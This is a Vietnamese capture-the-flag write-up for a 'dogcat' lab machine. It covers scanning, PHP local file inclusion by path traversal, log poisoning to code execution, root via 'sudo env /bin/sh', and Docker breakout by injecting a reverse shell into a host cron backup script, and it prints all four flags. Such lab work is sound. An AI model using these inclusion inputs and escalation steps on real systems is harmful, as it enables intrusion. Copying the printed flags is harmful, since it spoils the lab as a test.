dogcat
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
Initial Reconnaissance
Service Scanning
$ rustscan -a dogcat.thm -- -A
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeKBugyQF6HXEU3mbcoDHQrassdoNtJToZ9jaNj4Sj9MrWISOmr0qkxNx2sHPxz89dR0ilnjCyT3YgcI5rtcwGT9RtSwlxcol5KuDveQGO8iYDgC/tjYYC9kefS1ymnbm0I4foYZh9S+erXAaXMO2Iac6nYk8jtkS2hg+vAx+7+5i4fiaLovQSYLd1R2Mu0DLnUIP7jJ1645aqYMnXxp/bi30SpJCchHeMx7zsBJpAMfpY9SYyz4jcgCGhEygvZ0jWJ+qx76/kaujl4IMZXarWAqchYufg57Hqb7KJE216q4MUUSHou1TPhJjVqk92a9rMUU2VZHJhERfMxFHVwn3H
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBouHlbsFayrqWaldHlTkZkkyVCu3jXPO1lT3oWtx/6dINbYBv0MTdTAMgXKtg6M/CVQGfjQqFS2l2wwj/4rT0s=
| 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfp73VYZTWg6dtrDGS/d5NoJjoc4q0Fi0Gsg3Dl+M3I
80/tcp open http syn-ack ttl 59 Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15Nmap đưa cho ta hai service đang chạy đó là SSH và HTTP và hệ điều hành là Ubuntu. Ngoài ra cũng không có gì khác đặc biệt.
HTTP 80


Ảnh được lấy ra từ thư mục dogs, ta có thể kiểm tra thư mục này sau xem có list được file một cách công khai hay không.
Directory Enumeration
Ta sử dụng gobuster quét các thư mục và file ẩn trên web:
gobuster dir -u http://dogcat.thm/ -w /usr/share/wordlists/dirb/big.txt -t 128 -x php,txt
Chúng ta phát hiện một file flag.php, nhưng response size bằng 0. Điều này gợi ý rằng chúng ta nên tìm cách encode source code bằng base64, sau đó decode để đọc được.
/dogs, /cats/
Tiếp theo, chúng ta không có quyền liệt kê nội dung trong hai thư mục dogs và cats, vì vậy không thể duyệt thẳng vào đó để xem file.

/dog.php
Khi mở file dog.php, chúng ta thấy có một thẻ <img> giống hệt với thẻ trong index.php. Điều này cho thấy rất có thể index.php đang include file dog.php khi nhận tham số view=dog. Đây có thể là dấu hiệu của một lỗ hổng file inclusion.


Remote File Inclusion Testing
Đầu tiên, chúng ta thử kiểm tra Remote File Inclusion (RFI), nhưng thất bại vì allow_url_include=0 đã chặn không cho load include từ bên ngoài.

Local File Inclusion
Vì vậy, hướng khai thác hợp lý tiếp theo là thử Local File Inclusion (LFI) để đọc file trong hệ thống.

Phía back-end chỉ cho phép giá trị view là dogs hoặc cats, có nghĩa là tham số này bắt buộc phải chứa chuỗi dog hoặc cat. Tuy nhiên, chúng ta có thể đánh lừa bằng cách sử dụng kỹ thuật path traversal, ví dụ:
view=dogs/../flagTrong source code, ứng dụng đã tự động append .php, nên chúng ta không cần chỉ rõ extension.

flag.php
Tiếp theo, chúng ta áp dụng php filter để encode nội dung source code của flag.php bằng base64, sau đó decode ra để đọc được nội dung gốc thay vì chạy nó.

┌──(hungnt㉿kali)-[~/Downloads]
└─$ echo PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo= | base64 -d
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>index.php
Khi quan sát cách index.php xử lý tham số, chúng ta thấy có thể thêm một tham số ext và set nó rỗng để ngăn việc append .php vào cuối. Từ đó ta có thể đọc nhiều file khác hơn file .php:
┌──(hungnt㉿kali)-[~/Downloads]
└─$ echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>Từ LFI, chúng ta có thể leo lên mức RCE (Remote Code Execution) bằng kỹ thuật Log Poisoning.

Cụ thể, chúng ta chèn một đoạn PHP độc hại vào file log của Apache Web Server. Đoạn code này có nhiệm vụ tải payload reverse shell từ máy của chúng ta xuống target và lưu nó thành file shell.php.

Khi chúng ta include lại file log thông qua lỗ hổng LFI, đoạn code PHP trong file log được thực thi, payload được tải xuống và chạy.

Shell as www-data
Bằng cách khai thác LFI lần nữa, chúng ta thiết lập thành công reverse shell và truy cập vào hệ thống dưới quyền user www-data.

flag2*.txt
www-data@fb94566c5902:/var/www/html$ ls -la
ls -la
total 40
drwxrwxrwx 4 www-data www-data 4096 Aug 14 09:49 .
drwxr-xr-x 1 root root 4096 Mar 10 2020 ..
-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 cat.php
drwxr-xr-x 2 www-data www-data 4096 Aug 14 09:44 cats
-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 dog.php
drwxr-xr-x 2 www-data www-data 4096 Aug 14 09:44 dogs
-rw-r--r-- 1 www-data www-data 56 Mar 6 2020 flag.php
-rw-r--r-- 1 www-data www-data 958 Mar 10 2020 index.php
-rw-r--r-- 1 www-data www-data 2592 Aug 14 10:18 shell.php
-rw-r--r-- 1 www-data www-data 725 Mar 10 2020 style.css
www-data@fb94566c5902:/var/www/html$ cd ..
cd ..
www-data@fb94566c5902:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x 1 root root 4096 Mar 10 2020 .
drwxr-xr-x 1 root root 4096 Feb 26 2020 ..
-rw-r--r-- 1 root root 23 Mar 10 2020 flag2_QMW7JvaY2LvK.txt
drwxrwxrwx 4 www-data www-data 4096 Aug 14 09:49 html
www-data@fb94566c5902:/var/www$ cat flag2*
cat flag2*
THM{LF1_t0_RC3_aec3fb}Sudo Permissions
www-data@fb94566c5902:/var/www$ sudo -l
sudo -l
Matching Defaults entries for www-data on fb94566c5902:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on fb94566c5902:
(root) NOPASSWD: /usr/bin/envUser hiện tại có thể sudo chạy env với quyền root, ta có thể sử dụng nó để spawn một shell session dưới quyền root.
Shell as root (inside Docker container)
www-data@fb94566c5902:/var/www$ ls -la /usr/bin/env
ls -la /usr/bin/env
-rwsr-sr-x 1 root root 43680 Feb 28 2019 /usr/bin/env
www-data@fb94566c5902:/var/www$ sudo env /bin/sh
sudo env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)flag3.txt
cd /root
ls -la
total 20
drwx------ 1 root root 4096 Mar 10 2020 .
drwxr-xr-x 1 root root 4096 Aug 14 09:44 ..
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 35 Mar 10 2020 flag3.txt
cat flag*
THM{D1ff3r3nt_3nv1ronments_874112}Nhưng tìm mọi nơi ta không thấy flag cuối cùng flag4.txt ở đâu. Có thể flag không nằm trên môi trường hiện tại ta đang tương tác.
Shell as root (Docker Breakout)
Khi liệt kê thư mục gốc /, chúng ta thấy có file .dockerenv, điều này cho thấy môi trường hiện tại đang chạy trong một docker container.

Để xác nhận thêm, chúng ta chạy lệnh mount và phát hiện một số thư mục được mount từ /dev. Đây là bằng chứng rõ ràng rằng chúng ta thực sự đang ở trong container.
mount
Điều thú vị nhất là có thư mục /opt/backups được mount từ host. Khi kiểm tra, chúng ta thấy có file backup.tar. Sau khi giải nén và grep để tìm flag, chúng ta không tìm thấy flag 4 nào.
cd /opt/backups
ls -la
total 5768
drwxr-xr-x 3 root root 4096 Aug 14 10:26 .
drwxr-xr-x 1 root root 4096 Aug 14 09:44 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 5888000 Aug 14 11:19 backup.tar
tar xvf backup.tar
root/container/
...
root/container/src/dog.php
root/container/src/cat.php
grep -r "THM{" root
root/container/Dockerfile:RUN echo "THM{D1ff3r3nt_3nv1ronments_874112}" > /root/flag3.txt
root/container/Dockerfile:RUN echo "THM{LF1_t0_RC3_aec3fb}" > /var/www/flag2_QMW7JvaY2LvK.txt
root/container/backup/root/container/Dockerfile:RUN echo "THM{D1ff3r3nt_3nv1ronments_874112}" > /root/flag3.txt
root/container/backup/root/container/Dockerfile:RUN echo "THM{LF1_t0_RC3_aec3fb}" > /var/www/flag2_QMW7JvaY2LvK.txt
root/container/backup/root/container/src/flag.php:$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
root/container/src/flag.php:$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"Vậy nên chúng ta cần nghĩ cách để thoát khỏi môi trường container bởi có thể flag nằm trên máy host.
Trong thư mục này cũng có file backup.sh.
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/containerNhiều khả năng trên máy host, file script này đang được chạy theo cron job với quyền root để tạo backup định kỳ. Quan trọng hơn, thư mục backup được mount từ host và chúng ta có quyền ghi vào đó.

Điều này có nghĩa là chúng ta hoàn toàn có thể chèn lệnh tùy ý vào file backup.sh. Khi cron job trên host chạy, các lệnh độc hại sẽ được thực thi với quyền của user nào đó trên host, từ đó cho phép chúng ta thoát khỏi container và chiếm quyền kiểm soát host.
flag4.txt
Ta sẽ chèn một reverse shell payload để khởi tạo một kết nối tới máy host bằng lệnh echo và redirect để append nó vào cuối file backup.sh:

root@dogcat:~# cat flag*
cat flag*
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}